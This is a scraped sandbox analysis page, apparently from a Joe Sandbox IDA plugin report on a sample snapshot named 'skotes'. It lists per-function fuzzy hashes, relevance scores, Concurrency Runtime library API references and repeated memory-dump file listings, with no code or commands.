Associated: 00000008.00000002.3390525464.00000000011A9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390590424.00000000011B7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390648722.00000000011B8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ea0000_skotes.jbxd

Yara matches

Similarity

API ID: BuffersFlushProcessWrite
String ID:
API String ID: 2982998374-0
Opcode ID: d724a8826f6fb2a601ec1ec387af478abe8dda2a3e471f56169fe72566d14896
Instruction ID: 1030971354e8bd4d18ee1e93eca8561e4b7b71555c5adf5f06e074fae44e852a
Opcode Fuzzy Hash: d724a8826f6fb2a601ec1ec387af478abe8dda2a3e471f56169fe72566d14896
Instruction Fuzzy Hash: AAB09232A178344BCA912B14BC485AE7715AB80E2130A6156E841B72358A511D829FE4

Function 00EBDD91 Relevance: .1, Instructions: 144COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.3386628637.0000000000EA1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000008.00000002.3386582788.0000000000EA0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386628637.0000000000F02000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386816761.0000000000F09000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386886227.0000000000F0B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386998006.0000000000F17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387528327.000000000106F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387587897.0000000001071000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387649686.0000000001086000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387708749.0000000001087000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.000000000108A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.0000000001091000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387865997.000000000109D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387927085.000000000109E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387982785.00000000010A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388040375.00000000010A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388097586.00000000010AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388133592.00000000010AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388194351.00000000010B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388252892.00000000010B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388321169.00000000010C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388380029.00000000010C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388439993.00000000010CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388498010.00000000010D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388570957.00000000010F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388634033.00000000010F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388694498.00000000010FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388757058.0000000001101000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388818279.0000000001102000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388881566.0000000001104000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388941431.0000000001105000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389012901.0000000001108000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389068964.0000000001111000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389126048.0000000001113000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389184667.0000000001114000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389248325.0000000001117000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389310442.0000000001118000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389380312.000000000111E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389453577.0000000001126000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389519163.000000000112A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389557298.000000000112B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389647105.000000000112C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389712345.000000000112D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389778893.0000000001133000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389909379.0000000001142000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389971282.0000000001143000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390067837.0000000001164000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001166000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001171000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390286976.00000000011A0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390344154.00000000011A1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390397211.00000000011A2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390458612.00000000011A7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390525464.00000000011A9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390590424.00000000011B7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390648722.00000000011B8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ea0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 00e1d98e52e580b0ede6ba732ae6e225ec76c2da21328eb53f991d0f23d8c247
Instruction ID: 0c9ca174ebe55806aa4e00a4252bcf6d1f0fab1374d4dbea22da4238d99b037a
Opcode Fuzzy Hash: 00e1d98e52e580b0ede6ba732ae6e225ec76c2da21328eb53f991d0f23d8c247
Instruction Fuzzy Hash: 49519F72E0960ACBEB15CF58DC857AEBBF1FB48718F14856AD409EB250E3749940CF50

Function 00EBF028 Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 229COMMONLIBRARYCODE

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 00EBF2BB

Strings

pEvents, xrefs: 00EBF2B3

Memory Dump Source

Source File: 00000008.00000002.3386628637.0000000000EA1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000008.00000002.3386582788.0000000000EA0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386628637.0000000000F02000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386816761.0000000000F09000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386886227.0000000000F0B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386998006.0000000000F17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387528327.000000000106F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387587897.0000000001071000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387649686.0000000001086000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387708749.0000000001087000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.000000000108A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.0000000001091000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387865997.000000000109D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387927085.000000000109E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387982785.00000000010A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388040375.00000000010A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388097586.00000000010AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388133592.00000000010AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388194351.00000000010B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388252892.00000000010B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388321169.00000000010C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388380029.00000000010C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388439993.00000000010CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388498010.00000000010D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388570957.00000000010F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388634033.00000000010F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388694498.00000000010FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388757058.0000000001101000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388818279.0000000001102000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388881566.0000000001104000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388941431.0000000001105000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389012901.0000000001108000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389068964.0000000001111000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389126048.0000000001113000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389184667.0000000001114000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389248325.0000000001117000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389310442.0000000001118000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389380312.000000000111E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389453577.0000000001126000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389519163.000000000112A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389557298.000000000112B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389647105.000000000112C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389712345.000000000112D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389778893.0000000001133000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389909379.0000000001142000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389971282.0000000001143000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390067837.0000000001164000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001166000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001171000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390286976.00000000011A0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390344154.00000000011A1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390397211.00000000011A2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390458612.00000000011A7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390525464.00000000011A9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390590424.00000000011B7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390648722.00000000011B8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ea0000_skotes.jbxd

Yara matches

Similarity

API ID: std::invalid_argument::invalid_argument
String ID: pEvents
API String ID: 2141394445-2498624650
Opcode ID: f41fa180c2e4470790f580c2104982cc9a5851e7b1ad42069495f1c6bd105e53
Instruction ID: 4c80124c9245dece72ca0a38952fc9f30a436c13e5ed0ccda1faf8185ee5599f
Opcode Fuzzy Hash: f41fa180c2e4470790f580c2104982cc9a5851e7b1ad42069495f1c6bd105e53
Instruction Fuzzy Hash: 75817831D01219DBCF25DAA8CD81BEFB7B4AF04314F246469E801B72A2DB74AA45CB91

Function 00ED26D1 Relevance: 22.7, APIs: 15, Instructions: 231COMMON

Download Yara Rule

APIs

Concurrency::details::WorkSearchContext::PreSearch.LIBCONCRT ref: 00ED26E3

Part of subcall function 00ED24E1: Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 00ED2504

Concurrency::details::SchedulerBase::PeriodicScan.LIBCONCRT ref: 00ED2704
Concurrency::details::WorkSearchContext::CheckPriorityList.LIBCONCRT ref: 00ED2711
Concurrency::details::SchedulerBase::GetNextPriorityObject.LIBCMT ref: 00ED275F
Concurrency::details::SchedulerBase::AcquireQuickCacheSlot.LIBCMT ref: 00ED27E6
Concurrency::details::WorkSearchContext::QuickSearch.LIBCMT ref: 00ED27F9
Concurrency::details::WorkSearchContext::SearchCacheLocal_Runnables.LIBCONCRT ref: 00ED2846

Memory Dump Source

Source File: 00000008.00000002.3386628637.0000000000EA1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000008.00000002.3386582788.0000000000EA0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386628637.0000000000F02000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386816761.0000000000F09000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386886227.0000000000F0B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386998006.0000000000F17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387528327.000000000106F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387587897.0000000001071000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387649686.0000000001086000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387708749.0000000001087000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.000000000108A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.0000000001091000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387865997.000000000109D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387927085.000000000109E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387982785.00000000010A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388040375.00000000010A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388097586.00000000010AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388133592.00000000010AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388194351.00000000010B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388252892.00000000010B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388321169.00000000010C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388380029.00000000010C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388439993.00000000010CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388498010.00000000010D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388570957.00000000010F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388634033.00000000010F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388694498.00000000010FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388757058.0000000001101000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388818279.0000000001102000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388881566.0000000001104000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388941431.0000000001105000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389012901.0000000001108000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389068964.0000000001111000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389126048.0000000001113000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389184667.0000000001114000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389248325.0000000001117000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389310442.0000000001118000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389380312.000000000111E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389453577.0000000001126000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389519163.000000000112A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389557298.000000000112B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389647105.000000000112C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389712345.000000000112D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389778893.0000000001133000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389909379.0000000001142000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389971282.0000000001143000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390067837.0000000001164000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001166000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001171000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390286976.00000000011A0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390344154.00000000011A1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390397211.00000000011A2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390458612.00000000011A7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390525464.00000000011A9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390590424.00000000011B7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390648722.00000000011B8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ea0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Search$Work$Context::$Base::Scheduler$CachePriorityQuick$AcquireCheckItemItem::ListLocal_NextObjectPeriodicRunnablesScanSlot
String ID:
API String ID: 2530155754-0
Opcode ID: 6e51971da370b998301b90e4a558ba3ff056ffce2c4e8244430988f30ddcff86
Instruction ID: 9f0b04524ff4fbde00031425cf3ee8798ad5b00341a18930ebef15465d19235b
Opcode Fuzzy Hash: 6e51971da370b998301b90e4a558ba3ff056ffce2c4e8244430988f30ddcff86
Instruction Fuzzy Hash: 02815A34904249ABDF169F64C951BBE7BA2EF65308F04209EEE413B352C7328D57EB61

Function 00ED2970 Relevance: 16.7, APIs: 11, Instructions: 222COMMON

Download Yara Rule

APIs

Concurrency::details::WorkSearchContext::PreSearch.LIBCONCRT ref: 00ED2982

Part of subcall function 00ED24E1: Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 00ED2504

Concurrency::details::SchedulerBase::PeriodicScan.LIBCONCRT ref: 00ED29A3
Concurrency::details::WorkSearchContext::CheckPriorityList.LIBCONCRT ref: 00ED29B0
Concurrency::details::SchedulerBase::GetNextPriorityObject.LIBCMT ref: 00ED29FE
Concurrency::details::WorkSearchContext::SearchCacheLocal_Unrealized.LIBCONCRT ref: 00ED2AA6
Concurrency::details::WorkSearchContext::SearchCacheLocal_Realized.LIBCONCRT ref: 00ED2AD8

Memory Dump Source

Source File: 00000008.00000002.3386628637.0000000000EA1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000008.00000002.3386582788.0000000000EA0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386628637.0000000000F02000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386816761.0000000000F09000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386886227.0000000000F0B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386998006.0000000000F17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387528327.000000000106F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387587897.0000000001071000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387649686.0000000001086000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387708749.0000000001087000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.000000000108A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.0000000001091000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387865997.000000000109D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387927085.000000000109E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387982785.00000000010A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388040375.00000000010A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388097586.00000000010AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388133592.00000000010AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388194351.00000000010B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388252892.00000000010B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388321169.00000000010C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388380029.00000000010C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388439993.00000000010CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388498010.00000000010D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388570957.00000000010F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388634033.00000000010F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388694498.00000000010FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388757058.0000000001101000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388818279.0000000001102000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388881566.0000000001104000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388941431.0000000001105000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389012901.0000000001108000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389068964.0000000001111000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389126048.0000000001113000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389184667.0000000001114000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389248325.0000000001117000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389310442.0000000001118000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389380312.000000000111E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389453577.0000000001126000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389519163.000000000112A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389557298.000000000112B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389647105.000000000112C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389712345.000000000112D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389778893.0000000001133000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389909379.0000000001142000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389971282.0000000001143000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390067837.0000000001164000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001166000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001171000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390286976.00000000011A0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390344154.00000000011A1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390397211.00000000011A2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390458612.00000000011A7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390525464.00000000011A9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390590424.00000000011B7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390648722.00000000011B8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ea0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Search$Work$Context::$Base::CacheLocal_PriorityScheduler$CheckItemItem::ListNextObjectPeriodicRealizedScanUnrealized
String ID:
API String ID: 1256429809-0
Opcode ID: 8d0a3ebb42188969443b0826a07a1eb418d9df0874d74b54b3a3e57f6ec8cf4a
Instruction ID: ce14422194a07018e38a61d0dbfb21f3ad139e927c45ea3739b95cc5ade4a91b
Opcode Fuzzy Hash: 8d0a3ebb42188969443b0826a07a1eb418d9df0874d74b54b3a3e57f6ec8cf4a
Instruction Fuzzy Hash: EC719A30900249AFDF158F64C991ABEBBA1EF65308F04609EEE417B352C7729D16DB61

Function 00EC2832 Relevance: 15.2, APIs: 10, Instructions: 223COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::ResourceManager::GetTopologyInformation.LIBCONCRT ref: 00EC2876
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 00EC28DF
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 00EC2913

Part of subcall function 00EC07ED: Concurrency::details::ResourceManager::AffinityRestriction::ApplyAffinityLimits.LIBCMT ref: 00EC080D

Concurrency::details::ResourceManager::GetTopologyInformation.LIBCONCRT ref: 00EC2993
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 00EC29DB

Part of subcall function 00EC07C2: Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 00EC07DE

Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 00EC29EF
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 00EC2A00
Concurrency::details::ResourceManager::CleanupTopologyInformation.LIBCMT ref: 00EC2A4D
